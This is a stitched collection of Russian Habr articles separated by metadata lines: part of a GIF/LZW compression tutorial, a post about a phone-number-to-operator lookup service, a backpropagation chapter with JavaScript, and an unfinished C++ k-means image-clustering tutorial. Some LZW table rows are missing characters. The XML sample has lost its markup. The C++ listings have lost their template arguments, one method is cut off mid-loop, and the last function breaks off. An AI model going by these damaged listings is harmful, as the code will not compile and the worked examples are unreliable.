Этот словарь уже заполнен, и добавить в него ничего не получится. Но в LZW в словарь всегда должна быть возможность добавить новую запись. Как только предыдущей длины кодов начинает для этого не хватать, её нужно увеличить:
```
000000000
...
011111111
```
Теперь для указания индекса словаря используется семь бит (это и есть «длина кодов»). Кстати, когда говорят, что-то вроде «LZW с длиной кодов 8», имеется в виду длина кодов *изначального* словаря, начинаем кодирование же мы с длиной кодов на единицу большей. Немного запутанно, но так уж есть.
Строка начинаетс с заглавной «А». Ей в словаре соответствует бинарное значение `010000000`. Биты выписываем прямо так, LZW работает напрямую с битами, и то, что в байте обычно 8 бит, для этого алгоритма не имеет никакого значения.
```
А 010000000 (в словарь ничего не добавляем)
```
Следующая буква — «Б». Аналогично вписываем её, но теперь вместе с этим добавляем в словарь новую запись: предыдущая закодированная строка плюс первый символ этой. Прошлая строка была «А», эта — «Б», и её первый символ, соответственно «Б».
```
Б 010000001 | добавляем в словарь АБ = 100000000
```
Продолжим дальше:
```
Р 010010000 | БР = 100000001
А 010000000 | РА = 100000010
К 010001010 | АК = 100000011
А 010000000 | КА = 100000100
Д 010000100 | АД = 100000101
```
Дальше можно было бы точно так же записать «А», но у нас же уже есть в словаре «АБ»! Используем его. И не забываем, что в новую запись словаря идет только первая буква.
```
АБ 100000000 | ДА = 100000111
РА 100000010 | АБР = 100001000
000100000 | РА = 100001001
С 010010001 | С = 100001010
000100000 | С = 100001010
Х 010010101 | Х = 100001011
```
Теперь джекпот! У нас в словаре уже есть «АБР», и мы можем вставить всето одной буквы сразу три. Выбирать из словаря наиболее длинную подходящую строку кажется чертовски хорошей идеей.
```
АБР 100001000 | ХА = 100001100
А 010000000 | АБРА = 100001101
ХА 100001100 | АХ = 100001110
БР 100000001 | ХАБ = 100001111
А 010000000 | БРА = 100010000
```
Теперь все полученные биты (из второй колонки) выписываем в строчку, группируем по 8 байт и готово. Вместо 24×8 = 192 бит получили 18×9 = 162 бита. 15% экономии, при том, что RLE тут вообще ни одного бита не убрал бы.
### Жадность — это скверно
В описании алгоритма указывается, что при кодировании нужно выбирать из словаря строку наибольшей длины. Но как учит песенка про мальчика Билли из «Острова Сокровищ», жадность не самый оптимальный вариант. Возьмем предыдущий пример и откатимся чуть-чуть назад:
```
А 010000000
Б 010000001 | АБ = 100000000
Р 010010000 | БР = 100000001
А 010000000 | РА = 100000010
К 010001010 | АК = 100000011
А 010000000 | КА = 100000100
Д 010000100 | АД = 100000101
АБ 100000000 | ДА = 100000111
РА 100000010 | АБР = 100001000
000100000 | РА = 100001001
С 010010001 | С = 100001010
000100000 | С = 100001010
Х 010010101 | Х = 100001011
АБР 100001000 | ХА = 100001100
А 010000000 | АБРА = 100001101
```
В этом месте мы молжем пойти против жадности и выбрать из словаря не «`ХА`» более короткую строку, «`Х`»:
```
Х 010010101 | АХ = 100001110
АБРА 100001101 | ХА = 100001111
```
Теперь длина закодированного сообщения 17×9 = 153 бита, разница около 5%. Но это мы вручную файл собирали, а как алгоритмически определить, не идти на поводу у жадности? В лоб не получится: сложность прямого перебора экспоненциальная. Так что, как говорится во всяких умных книжках, я оставлю это на рассмотрение читателю. Может, ещё премию Тьюринга получите.
### Сжатие одинаковых значений
Попробуем теперь сжать примитивную строку, состоящую только из букв «А».
```
А |
А | АА
АА | АА
АА | ААА
ААА | ААА
...
```
Как-то не очень эффективно, словарь забивается дубликатами. Но на этот случай в LZW предусмотрен хитрый приём. Во второй строке мы добавляем в словарь «`АА`», хотя эта запись пригодилась бы нам прямо на месте. Собственно, так мы и можем сделать:
```
А |
АА | АА
ААА | ААА
...
```
Для определения новой записи имеет значение только первый кодируемый символ. Его мы точно знаем, это «`А`». Поэтому мы *сначала* добавляем новую запись в словарь, а *потом* ищем в нем строку с наибольшей длиной.
Этот подход работает не только с одинаковыми буквами, но и с более длинными последовательностями:
```
А |
Б | АБ
АБ | БА
АБА | АБА
...
```
Вы можете удивиться, а как же декодер поведет себя, если ему скажут: «теперь вставь седьмую запись», а у него их в словаре всего шесть. Ничего страшного, он таким штукам обучен и поймет без проблем.
LZW в GIF
---------
Ну что же, на кошках потренировались, теперь переходим к реальным действиями. Создадим GIF с вот таким нехитрым изображением.
Для удобства увеличено в 8 раз, настоящие размеры: 11×6 пикселей, высота каждой полосы 2 пикселя.
*А чей это флаг? Ничей. Просто три горизонтальные полосы. Но если удобнее, можно считать это флагом Суверенной Цветовой Модели RGB.*
Размер палитры выбираем точно так же, как в PCX,— как можно меньше. В изображении всего три цвета, так что будем использовать палитру из 4 цветов. Напомню, что для LZW порядок цветов в палитре значения не имеет, только длина кодов. Изображение в файле будет одно, так что нам без разницы, локальная это будет палитра, или глобальная. Пусть будет глобальной.
Интерлейс использовать не будем, пиксели будем выбирать просто слева направо, сверху вниз. Размер логического экрана 11×6, размер изображения такой же, размер кодов 2 бита, поехали!
Составялем словарь:
```
00 R (индекс палитры 0)
01 G (индекс палитры 1)
10 B (индекс палитры 2)
11 (индекс палитры 3)
```
*На самом деле, конечно, LZW понятия не имеет о конкретном цвете, и кодирует только его номер в палитре. Но дальше будет столько цифр в листинге, что мы рискуем в них запутаться, поэтому отмечу их как «R», «G» и «B».*
Это еще не все. В словарь добавляем специальное значение «Clear Code». Оно не кодирует ничего, только инструктирует декодер сбросить словарь до начального состояния.
Также в словарь идет ещё одно особое значение «End of Information», оно указывает на то, что сжатый поток окончился. Зачем оно нужно? Предположим, что на одну запись словаря уходит 4 бита, и есть закодированное значение «`00010010 00110000`». Непонятно, то ли это раскодировать как `1 2 3`, то ли как `1 2 3 0`, а код EoI указывает конец потока с точностью до бита, и проблема исчезает.
Итого, изначальный словарь у нас выглядит так:
```
000 R (индекс палитры 0)
001 G (индекс палитры 1)
010 B (индекс палитры 2)
011 (индекс палитры 3)
100
101
```
Начинаем кодирование с кода `CC`. Так предписывает спецификация. Добавляет ли этот код что-то в словарь, или нет, неизвестно, потому как он сразу же сбрасывается на исходный.
```
100 |
```
*Зачем этот код нужен в начале потока, неизвестно. То ли это обход какого-то бага в первой имплементации смотрелки, которую уже успели раздать клиентам. То ли в прототипе спецификации так определялась исходная длина кодов (количество битов-нулей как раз ей равна). То ли просто паранойя.*
Далее код первого пикселя. Если в PCX мы четыре пикселя с возможным значением от 0 до 3 склеивали в один байт, то в GIF этого делать не нужно.
```
000 R |
```
Далее описанный выше приём: используем запись словаря одновременно с её добавлением.
```
110 RR | RR = 110
111 RRR | RRR = 111
```
Словарь заполнился, и его нужно увеличить на один бит. Следующая запись будет занимать уже 4 бита.
```
1000 RRRR | RRRR = 1000
```
Закодировано 10 пикселей, а в одном сканлайне 11. Но в GIF нет ограничений, связанных со сканлайнами — все пиксели «вытягиваются в строчку», и кодируются как одна большая последовательность. Если бы мы использовали интерлейс, то следующей взяли бы синюю полосу, что, разумеется, на сжатии положительно бы не сказалось.
```
1001 RRRRR | RRRRR = 1001
1010 RRRRRR | RRRRRR = 1010
```
21 красный пиксель закодирован, остался один. На этот раз пиксель кодируется четырьмя битами. Несмотря на то, что запись «`RR`» в словаре уже есть, добавляем её еще раз.
```
0000 R | RRRRRRR = 1011
```
Продолжаем так же, с зелёными пикселями.
```
0001 G | RG = 1100
1101 GG | GG = 1101
1110 GGG | GGG = 1110
1111 GGGG | GGGG = 1111
```
Снова увеличиваем длину кодов.
```
10000 GGGGG | GGGGG = 10000
10001 GGGGGG | GGGGGG = 10001
00001 G | GGGGGGG = 10010
00010 B | GB = 10011
10100 BB | BB = 10100
10101 BBB | BBB = 10101
10110 BBBB | BBBB = 10110
10111 BBBBB | BBBBB = 10111
11000 BBBBBB | BBBBBB = 11000
00010 B | BBBBBBB = 11001
```
Наконец, указываем маркер конца данных.
```
00101 |
```
Теперь полученные биты пакуем по восемь штук в байт, от младшего к старшему. Из последовательности `(100) (000) (110) (111) (1000) …` получим:
```
10) (000) (100) = 0x84
(1000) (111) (1 = 0x8F
...
```
А к полученным 13 байтам не забываем дописать в начале длину блока (`0x0D` = 13) и `0x00` в конце, чтобы показать, что изображение закончено.
И вот, наконец, что получилось: . Кажется, работает.
### Сброс словаря
Если присмотреться, то окажется, что из трех одинаковых по размеру полос на красную пришлось 25 бит, на зеленую — 31, а на синюю уже 35. А как же, пришлось увеличивать размер кодов, чтобы работать с разрастающимся словарем.
Но к моменту, когда мы начинаем кодировать синюю полосу, записи с «красными» значениями становятся бесполезными — они больше не встретятся. В этом случае нам поможет тот самый код очистки словаря, который теперь будет использоваться по назначению, а не просто в ритуальных целях.
Вернемся к концу красной полосы:
```
100 |
000 R |
110 RR | RR = 110
111 RRR | RRR = 111
1000 RRRR | RRRR = 1000
1001 RRRRR | RRRRR = 1001
1010 RRRRRR | RRRRRR = 1010
0000 R | RRRRRRR = 1011
```
Сбросим словарь, и продолжим кодирование.
```
0100 | (сброс словаря)
001 G |
110 GG | GG = 110
111 GGG | GGG = 111
1000 GGGG | GGGG = 1000
1001 GGGGG | GGGGG = 1001
1010 GGGGGG | GGGGGG = 1010
0001 G | GGGGGGG = 1011
```
И ещё раз.
```
0100 | (сброс словаря)
010 B |
110 BB | BB = 110
111 BBB | BBB = 111
1000 BBBB | BBBB = 1000
1001 BBBBB | BBBBB = 1001
1010 BBBBBB | BBBBBB = 1010
0010 B | BBBBBBB = 1011
0101 |
```
Получилось 90 бит, а суммарный размер файла уменьшился с 52 до 51 байта, при том, что остался читаемым: . А вот, кстати, gifsicle, тулза номер один для сжатия GIF, так сжать уже не может.
Кстати, можно заметить, что все три полосы закодировались почти одинаково. Для LZW нет разницы между «`0x00` 22 раза» и «`0x02` 22 раза», и расположение цветов в палитре можно выбрать любое.
### Нестандарт
Немного маньячества. Код сброса словаря («CC») в самом начале потока ни на что не влияет. А код конца потока («EoI»), в общем-то, и не нужен — если в хвосте байта и останутся какие-то данные, то они уже будут за пределами изображения. Вырезав их, мы можем ужать картинку ещё больше, до 50 байт, и она будет нормально отображаться в браузерах: .
*Если Вы счастливый обладатель браузера, в котором она не показывается, отпишитесь, пожалуйста, в комментах.*
Но есть одно но, и это «но» принципиальное: это нарушение спецификации. Стоит ли этого экономия в один байт — решайте сами.
Анимированный GIF
-----------------
На сегодняшний день, пожалуй, это единственное применение GIF. Для неанимированных иконок и иллюстраций PNG гораздо круче. Но, к сожалению, форматы анимированных изображений на основе PNG «не взлетели»: APNG не является стандартом W3C, и поддерживается только половиной браузеров; а стандартный W3C'шный MNG вообще мертворожденный. Это дает возможность старичку GIF еще немного пожить.
Вспомним спецификацию. Расширение изображения указывает задержку в сантисекундах, прозрачный цвет и что делать потом с логическим экраном. Затем само изображение. Затем опять расширение изображения и само изображение, и так до конца.
### Композиция
Тут следует начать с главного: если на логическом экране 800×600 с новым кадром поменялся только квадратик 2×2, то имеет смысл сделать кадр размером 2×2, а не 800×600. Думаю, это логично. Но, увы, не все программы обработки изображений заморачиваются таким анализом, и львиная доля оптимизации GIF приходится именно на исправление этой тривиальной ошибки.
А теперь к деталям, а именно к полю Disposal Method расширения изображения, которое указывает, что делать с кадром перед тем, как показывать новый. Немного повторюсь:
Значения 0 и 1 разными формулировками указывают рендереру ничего не делать. Т.е., пиксели следующего кадра рисовать прямо поверху (кроме прозрачных, само собой).
Значение 2 — перед показом нового кадра удалить с логического экрана всё. По спецификации логический экран должен быть заполнен фоновым цветом, на практике он становится полностью прозрачным.
Значение 3 самое интересное — перед показом следующего кадра вернуть всё, как было до показа текущего кадра. Так что, при кодировании, скажем, пятого кадра стоит определить разницу не только со четвертым, но и с третьим — вдруг так сожмется лучше.
### Прозрачный цвет
Обратите внимание, прозрачный цвет указывается для каждого изображения, даже если используется глобальная палитра. Что нам может это дать? Посмотрим на картинку:
**Картинка убрана под спойлер, не все любят анимацию посреди текста.**
Сколько тут цветов? Красный, зеленый, синий, желтый и прозрачный — пять. Именно так думают GIMP и Photoshop. Но они ошибаются — тут только четыре цвета. Все четыре изображения-кадра абсолютно одинаковы, и используют глобальную палитру. Разница только в расширениях изображения, которые стоят перед ними, каждый цвет поочередно объявляется прозрачным.
### Палитра и размер кодов
Хотя размер кодов LZW обычно и равен размеру (в количестве битов) палитры, такого требования в спеках нет. Нужно только чтобы сами кодируемые значения ссылались на существующие индексы палитры, а так можно хоть 24-битные коды использовать, если места не жалко.
Соответственно, можно использовать размеры кодов меньше, так что не все индексы палитры будут доступны. На первый взгляд, это как-то бессмысленно, однако и этот приемчик может пригодиться.
Картинкой для примера будет… хм… а давайте опять НЛО! Анимация пусть будет несложной, всего два кадра.
Глобальная палитра в 8 цветов:
В первом кадре используем все восемь, при этом указываем, что цвет по смещению 0 (светло-синий) считается прозрачным.
Во втором же кадре нам понадобится только два первых цвета глобальной палитры: светло-синий и серый. И прозрачным на этот раз будет серый цвет (по смещению 1). И вот тут-то мы можем уменьшить размер кодов LZW до двух битов. При этом получится, что из восьми цветов мы сможем закодировать только цвета от 0 до 3, но ведь больше-то нам и не надо. Можно было бы и до одного, но по спецификации минимальный размер кодов — 2.
Проверяем, работает ли?
Работает. Ну, тогда склеиваем GIF'ки в одну и вуаля!
**Результат.**
Картинка «весит» 437 байт. Если бы мы использовали локальную палитру, то файл занимал бы на 6 байт больше, 443 байта. А если бы увеличили глобальную палитру, как предлагает Photoshop, то уже 469 байт, а это уже около 7% разницы.
Итого
-----
Резюмируем. Техники оптимизации GIF:
* Удаление ненужных блоков, в том числе расширений изображения;
* Выбор минимально возможной глубины цвета (размера палитры);
* Минимизация размеров изображений-кадров;
* Использование локальной палитры;
* Отход от жадности LZW;
* Cброс словаря LZW;
* Выбор между прогрессивным или чересстрочным сканированием (если допустимо);
* Использование способов очистки кадра: «оставить», «очистить», «отменить» (только для анимации);
* «Повторное использование» прозрачных цветов (только для анимации);
* Оптимизация палитры с целью уменьшить размер кодов (только для анимации).
Работает, но не поощряется:
* Удаление маркера конца потока LZW и кода сброса словаря в начале.
Продолжение следует
-------------------
На сегодня всё. А следующая, заключительная, часть — графический формат PNG и его производные. | https://habr.com/ru/post/184660/ | null | ru | null |
# Запрос номера из реестра «Россвязи»
Доброго времени суток!
Давно искал инструмент, чтобы быстро можно было узнать принадлежность того или иного телефонного номера к тому или иному оператору связи и/или региону.
Всегда использовал для этих задач [МТТ](http://www.mtt.ru/mtt/def), чего, в принципе всегда хватало.
Но хотелось чего-то ещё более простого и быстрого.
Если Вас также как и меня интересовало что-то подобное, прошу под кат.
Одно время я хотел написать парсер вывода МТТ и отдавать его в структурированном формате. Но всё не доходили руки.
Совсем недавно обнаружил что интересующая меня информация (оказывается!) есть в свободном доступе на сайте [«Россвязи»](http://rossvyaz.ru/activity/num_resurs/registerNum/), там же имеется поиск по реестру.
Так получилось, что у меня появилось немножко свободного времени и желание покодить «для себя».
В результате с сайта «Россвязи» были скачаны все имеющиеся в открытом доступе реестры, распарсены и экспортированы в базу для последующего удобного поиска.
Что из всего этого получилось можно посмотреть [здесь](http://innum.ru/api/who_owner.html).
Имеющуюся информацию можно получить в формате XML по запросу вида: [innum.ru/cgi-bin/info.pl?number=79193410000](http://innum.ru/cgi-bin/info.pl?number=79193410000) и получить ответ вида:
```
xml version="1.0" encoding="UTF-8"?
3400000
3599999
Мобильные ТелеСистемы
919
Челябинская область
```
Во избежание хабра-эффекта, действует ограничение — 10 «уникальных» запросов с одного IP-адреса в час.
После выполнения запроса, результат помещается в кэш на 8(восемь) часов. В течение этих 8ми часов запрос не считается «уникальным» и Вы будете продолжать получать ответы по этому запросу без каких-либо ограничений.
Что касается практического применения, то я планирую подключить этот веб-сервис к офисному Asterisk'у (например, через FastAGI).
Буду рад любым пожеланиям/предложениям и аргументированной критике в комментариях.
Спасибо за внимание.
---
**UPD:** пользователь~~, которого, к сожалению, нет на хабре~~ [Matthew\_w](http://habrahabr.ru/users/matthew_w/) написал [приложение](http://www.windowsphone.com/ru-RU/apps/17b12eb4-cbe9-4b38-8cc1-39373118ba51?wa=wsignin1.0) для Windows Phone, которое использует данный веб-сервис.
Ждём аналогичного ПО под остальные мобильные платформы ;-) | https://habr.com/ru/post/142069/ | null | ru | null |
# Руководство хакера по нейронным сетям. Схемы реальных значений. Схемы с несколькими логическими элементами
Содержание:
**Глава 1: Схемы реальных значений**[Часть 1:](http://habrahabr.ru/company/paysto/blog/244723/)
```
Введение
Базовый сценарий: Простой логический элемент в схеме
Цель
Стратегия №1: Произвольный локальный поиск
```
[Часть 2:](http://habrahabr.ru/company/paysto/blog/244935/)
```
Стратегия №2: Числовой градиент
```
[Часть 3:](http://habrahabr.ru/company/paysto/blog/245051/)
```
Стратегия №3: Аналитический градиент
```
[Часть 4:](http://habrahabr.ru/company/paysto/blog/245403/)
```
Схемы с несколькими логическими элементами
Обратное распространение ошибки
```
[Часть 5:](http://habrahabr.ru/company/paysto/blog/246093/)
```
Шаблоны в «обратном» потоке
Пример "Один нейрон"
```
[Часть 6:](http://habrahabr.ru/company/paysto/blog/246397/)
```
Становимся мастером обратного распространения ошибки
```
**Глава 2: Машинное обучение**[Часть 7:](http://habrahabr.ru/company/paysto/blog/246523/)
```
Бинарная классификация
```
[Часть 8:](http://habrahabr.ru/company/paysto/blog/246849/)
```
Обучение сети на основе метода опорных векторов (SVM)
```
[Часть 9:](http://habrahabr.ru/company/paysto/blog/246973/)
```
Обобщаем SVM до нейронной сети
```
[Часть 10:](http://habrahabr.ru/company/paysto/blog/247033/)
```
Более традиционный подход: Функции потерь
```
Вы наверняка скажете: «Аналитический градиент довольно прост, если брать производную для ваших простых выражений. Но это бесполезно. Что я буду делать, когда выражения станут намного больше? Разве уравнения не станут огромными и сложными довольно быстро?». Хороший вопрос. Да, выражения становятся намного сложнее. Но нет, это не делает все значительно труднее.
Как мы увидим далее, каждый логический элемент будет существовать сам по себе, абсолютно не подозревая о нюансах огромной и сложной схемы, частью которой он является. Он будет беспокоиться только о своих исходных значениях, и будет вычислять свои локальные производные так же, как описано в предыдущем разделе, за исключением того, что здесь будет одно дополнительное умножение, которое ему нужно будет выполнить.
> Одно дополнительное умножение превратит один (бесполезный) логический элемент в шестеренку в сложном механизме, который и представляет собой целую нейронную сеть.
Наверное, хватит нахваливать его. Надеюсь, я возбудил ваш интерес. Давайте углубимся в детали и включим в наш следующий пример два логических элемента:
Выражение, которое мы вычисляем в данный момент, выглядит следующим образом: **f(x,y,z)=(x+y)z**. Давайте сформируем структуру кода, чтобы представить логические элементы в виде функций:
```
var forwardMultiplyGate = function(a, b) {
return a * b;
};
var forwardAddGate = function(a, b) {
return a + b;
};
var forwardCircuit = function(x,y,z) {
var q = forwardAddGate(x, y);
var f = forwardMultiplyGate(q, z);
return f;
};
var x = -2, y = 5, z = -4;
var f = forwardCircuit(x, y, z); // результат равен -12
```
В вышеприведенном примере я использую **a** и **b** в качестве локальных переменных в функциях логических элементов. Таким образом, мы не будем путать их с исходными значениями схемы **x,y,z**. Как и раньше, мы заинтересованы в поиске производных по отношению к этим трем исходным значениям: **x,y,z**. Но как мы будем рассчитывать их теперь, когда у нас есть несколько логических элементов?
Для начала, давайте притворимся, что элемента + тут нет, и что у нас есть только две переменные в схеме: q,z и один логический элемент \*. Обратите внимание, что q является результирующим значением логического элемента +. Если нам не надо беспокоиться об x и y, а только о q и z, тогда мы возвращаемся только к одному логическому элементу, так как задействован только элемент \*, и мы знаем, что такое (аналитические) производные из предыдущего раздела. Мы можем записать их (при этом, заменяя x,y на q,z) следующим образом:
Все достаточно просто: это выражения градиента по отношению к q и z. Но стойте, нам не нужен градиент по отношению к q, а только по отношению к исходным значениям: x и y. К счастью, q вычисляется как функция x и y (путем прибавления в нашем примере). Мы можем записать градиент для логического элемента прибавления таким же образом, даже проще:
Все правильно, производные просто равны 1, вне зависимости от фактических значений x и y. Если вы задумались об этом, то это имеет смысл, так как чтобы сделать результат одного логического элемента сложения выше, нам нужно положительное изменение x и y, вне зависимости от их значений.
**Обратное распространение ошибки**
Мы, наконец, готовы воспользоваться Цепным правилом: мы знаем, как вычислять градиент q по отношению к x и y (это в случае одного логического элемента — +). И мы знаем, как вычислять градиент нашего конечного результата по отношению к q. Цепное правило рассказывает нам, как комбинировать эти подходы, чтобы получить градиент конечного результата по отношению к x и y, в котором мы, в конечном итоге, заинтересованы. Лучше всего то, что цепное правило просто утверждает, что правильнее всего – это взять и перемножить градиенты, чтобы связать их. Например, окончательной производной для x будет:
Здесь много символов, поэтому это опять же может показаться сложным, но это всего лишь два числа, перемножаемых между собой. Вот код:
```
// изначальные условия
var x = -2, y = 5, z = -4;
var q = forwardAddGate(x, y); // q равно 3
var f = forwardMultiplyGate(q, z); // результат равен -12
// градиент логического элемента УМНОЖЕНИЕ по отношению к его исходным значениям
// wrt – это сокращение «в отношении» ("with respect to")
var derivative_f_wrt_z = q; // 3
var derivative_f_wrt_q = z; // -4
// производная логического элемента сложение по отношению к его исходным значениям
var derivative_q_wrt_x = 1.0;
var derivative_q_wrt_y = 1.0;
// цепное правило
var derivative_f_wrt_x = derivative_q_wrt_x * derivative_f_wrt_q; // -4
var derivative_f_wrt_y = derivative_q_wrt_y * derivative_f_wrt_q; // -4
```
Вот и все. Мы вычислили градиент и теперь можем позволить нашим исходным значениям немного реагировать на него. Давайте добавим градиенты в верхнюю часть исходных значений. Выходное значение схемы нужно сделать больше, чем -12!
```
// конечный градиент, согласно вышеуказанному: [-4, -4, 3]
var gradient_f_wrt_xyz = [derivative_f_wrt_x, derivative_f_wrt_y, derivative_f_wrt_z]
// позволим исходным значениям реагировать на силу/толчок:
var step_size = 0.01;
x = x + step_size * derivative_f_wrt_x; // -2.04
y = y + step_size * derivative_f_wrt_y; // 4.96
z = z + step_size * derivative_f_wrt_z; // -3.97
// Наша схема теперь должна иметь более высокий результат:
var q = forwardAddGate(x, y); // q становится 2.92
var f = forwardMultiplyGate(q, z); // результат равен -11.59, больше, чем -12!
```
Кажется, сработало! Давайте теперь попробуем интуитивно интерпретировать, что только что произошло. Схема хочет выдавать в результате более высокие значения. Последний логический элемент увидел исходные значения **q = 3, z = -4** и вычислил результат -12. Путем «подталкивания» вверх, это выходное значение приложило силу на оба значения — **q и z**: чтобы увеличить выходное значение, схема «хочет», чтобы увеличилось значение **z**, как это видно из положительного значения производной **(derivative\_f\_wrt\_z = +3)**. Опять же, размер этой производной можно истолковать, как величину силы. С одной стороны, к q была приложена большая нисходящая сила, так как **derivative\_f\_wrt\_q = -4**. Другими словами, схема хочет уменьшить **q**, приложив к нему силу равную 4.
Теперь мы подходим ко второму логическому элементу — **"+"**, который выдает выходное значение **q**. По умолчанию, логический элемент **+** вычисляет свои производные, которые сообщают нам, как нужно изменить x и y, чтобы сделать q больше. НО! Вот **важный момент**: градиент значения **q** был вычислен как отрицательное число (**derivative\_f\_wrt\_q = -4**), поэтому схема хочет уменьшить модуль **q**, прилагая силу, равную 4! Поэтому, если логический элемент **+** хочет помочь сделать окончательное выходное значение больше, он должен прислушиваться к сигналам градиента, поступающим сверху. В частности, в этом случае, он должен подтолкнуть x,y в противоположном направлении от того, куда он мог их подтолкнуть при нормальных условиях, и с силой, равной 4, если можно так выразиться. Умножение на -4, используемое в цепном правиле, приводит к следующему: вместо прикладывания положительной силы равной +1 на оба значения x и y (местную производную), полный градиент схемы по x и y становится равным **1 x -4 = -4**. В этом есть смысл: схема хочет, чтобы x и y стали меньше, так как это приведет к уменьшению q, что, в свою очередь, приведет к увеличению f.
> Если для вас в этом есть смысл, значит, вы понимаете обратное распространение ошибки.
Давайте снова повторим то, что мы узнали:
В предыдущем разделе мы увидели, что в случае с одним логическим элементом (или одним выражением), мы можем взять производную аналитического градиента с помощью простого расчета. Мы интерпретировали градиент как силу или толчок на исходные значения, который толкает их в направлении, которое может сделать результат этого логического элемента выше.
В случае с несколькими логическими элементами, все остается примерно так же: каждый логический элемент существует самостоятельно, не подозревая о схеме, в которую он включен. Поступают некоторые исходные значения, и логический элемент вычисляет результат и производную по отношению к исходным значениям. Единственное различие на данном этапе заключается в том, что внезапно что-то может подтолкнуть этот логический элемент сверху. Это градиент окончательного выходного значения схемы по отношению к результату, который вычислил этот логический элемент. Именно схема запрашивает, чтобы логический элемент выдал в результате большее или меньшее число, прикладывая определенную силу. Логический элемент просто берет эту силу и умножает ее на все силы, которые он вычислил до этого для своих исходных значений (цепное правило). Это привело к желаемым результатам:
1. Если на логический элемент оказывается сильный положительный толчок сверху, он тоже сильнее толкает собственные исходные значения, дифференцированные по силе, приложенной на него сверху
2. А если на него оказывается отрицательный толчок, это означает, что схема хочет, чтобы его значение уменьшалось, а не увеличивалось, поэтому он приложит силу толчка на свои исходные значения, чтобы сделать собственное выходное значение меньше.
> Неплохой пример, которую следует иметь в виду: мы толкаем результат схемы и это приводит к нисходящему толчку через всю схему вплоть до исходных значений.
Разве это не прекрасно? Единственное различие между сценарием с одним логическим элементом и несколькими взаимодействующими логическими элементами, которые произвольно вычисляют сложные выражения, это дополнительная операция умножения, которая встречается в каждом логическом элементе. | https://habr.com/ru/post/245403/ | null | ru | null |
# Простейшая кластеризация изображени методом к-средних (k-means)
Зачастую при поиске движущихся объектов на видео будь то методом вычитания фона, временной разности, оптического потока, в итоге мы получаем множество точек, которые после действия вышеупомянутых алгоритмов помечены как изменившие свое положение относительно предыдущего кадра и относящиеся к переднему плану.
После такой обработки встает вопрос о сегментации объектов методом кластерного анализа, о котором пойдет речь ниже и собственно его реализация на C++.
#### Сегментация объектов
Для начала немного теории:
Сегментация — это процесс разделения цифрового изображения на несколько сегментов (множеств пикселей). Проще говоря, это вещь, которая позволяет определить какие пиксели из данного множества относятся к Ferrari, а какие к Peugeot.
Очень эффективным с точки зрения вычислительных ресурсов является использование для сегментации методов кластерного анализа. Суть кластеризации состоит в том, что все исходные объекты (в данном случае пиксели ) разбиваются на несколько не пересекающихся групп таким образом, чтобы объекты, попавшие в одну группу, имели сходные характеристики, в то время как у объектов из разных групп эти характеристики должны значительно отличаться. Полученные группы называются кластерами. Исходными значениями в простейшем способе для кластеризации являются координаты пикселя (x, y), в более сложных случаях, например для полутоновых изображений, используется трехмерный вектор (x, y, I(x, y) ), где I(x, y) — градации серого
и пятимерный вектор если используется RGB.
#### Метод к-средних
Центроид — точка которая является центром кластера.
k-средних (k-means) — наиболее популярный метод кластеризации. Алгоритму широко отдается предпочтение из-за его простоты реализации, большой скорости (а это очень важно при работе с видео).
Действие алгоритма таково, что он стремится минимизировать суммарное квадратичное отклонение точек кластеров от центров этих кластеров. В простонародье говоря, это итеративный алгоритм, который делит данное множество пикселей на k кластеров точки, которых являются максимально приближенными к их центрам, а сама кластеризация происходит за счет смещения этих же центров. Такой себе принцип разделяй и властвуй.
Также следует оговорить то, что метод к-средних очень чувствительный к шуму, который может существенно исказить результаты кластеризации.Так что в идеале, перед кластеризацией, нужно прогнать кадры через фильтры предназначиные для его уменьшения.
Вот собственно сам принцип простейшей кластеризации методом к-средних:
1. Надо выбрать из множества k пикселей те пиксели, которые будут центроидами соответствующих k кластеров.
Выборка начальных центроидов может быть как рандомной так и по определенному алгоритму.
2. Входим в цикл, который продолжается до тех пор, пока центроиды кластеров не перестанут изменять свое положение.
3. Обходим каждый пиксель и смотрим, к какому центроиду какого кластера он является близлежащим.
4. Нашли близлежащий центроид? Привязываем пиксель к кластеру этого центроида.
5. Перебрали все пиксели? Теперь нужно высчитать новые координаты центроидов k кластеров.
6. Теперь проверяем координаты новых центроидов. Если они соответственно равны предыдущим центроидам — выходим из цикла, если нет возвращаемся к пункту 3.
Вот картинка, которая приблизительно демонстрируют работу алгоритма:
Вот неплохой апплет для иллюстрации работы алгоритма [к-средних](http://home.dei.polimi.it/matteucc/Clustering/tutorial_html/AppletKM.html)
#### Начнем
Для начала нам нужен класс, назовем его Cluster, который будет хранить вектор координат пикселей относящихся к кластеру, текущие и предыдущие значения координат центроида:
```
class Cluster{
vector scores;
public:
int curX , curY;//координаты текущего центроида
int lastX, lastY;//координаты предыдущего центоида
size\_t Size(){ return scores.size();}//получаем размер вектора
inline void Add(POINT pt){ scores.push\_back(pt); }//Добавляем пиксель к кластеру
void SetCenter();
void Clear();//Чистим вектор
static Cluster\* Bind(int k, Cluster \* clusarr, vector& vpt);
static void InitialCenter(int k, Cluster \* clusarr , vector& vpt);;
static void Start(int k, Cluster \* clusarr, vector& vpt);
inline POINT& at(unsigned i){ return scores.at(i);}//Доступ к элементам вектора
};
```
Теперь нам надо реализовать метод которой будет распределять начальные координаты центроидов. Можно конечно сделать чего-нибудь по сложнее, но в нашем случае сойдет и равномерное распределение по вектору:
```
void Cluster::InitialCenter(int k, Cluster * clusarr, vector& vpt){
int size = vpt.size();
int step = size/k;
int steper = 0;
for(int i = 0;i < k;i++,steper+=step){
clusarr[i].curX = vpt[steper].x;
clusarr[i].curY = vpt[steper].y;
}
}
```
Также нужно написать метод, который будет ответственный за нахождение новых координат центроида в соответствии с пунктом 5.Координаты нового центроида можно найти описав вокруг пикселей кластера прямоугольник и тогда центроидом будет пересечение его диагоналей.
```
void Cluster::SetCenter(){
int sumX = 0, sumY = 0;
int i = 0;
int size = Size();
for(; i
```
И теперь только остался сделать простенький метод самого «привязывания» пикселей к определенному кластеру по принципу сравнения модулей отрезков:
```
Cluster * Cluster::Bind(int k, Cluster * clusarr, vector& vpt){
for(int j = 0; j < k;j++)
clusarr[j].Clear();// Чистим кластер перед использованием
int size = vpt.size();
for(int i = 0; i < size; i++){// Запускаем цикл по всем пикселям множества
int min = sqrt(
pow((float)clusarr[0].curX-vpt[i].x,2)+pow((float)clusarr[0].curY-vpt[i].y,2)
);
Cluster \* cl = &clusarr[0];
for(int j = 1; j < k; j++){
int tmp = sqrt(
pow((float)clusarr[j].curX-vpt[i].x,2)+pow((float)clusarr[j].curY-vpt[i].y,2)
);
if(min > tmp){ min = tmp; cl = &clusarr[j];}// Ищем близлежащий кластер
}
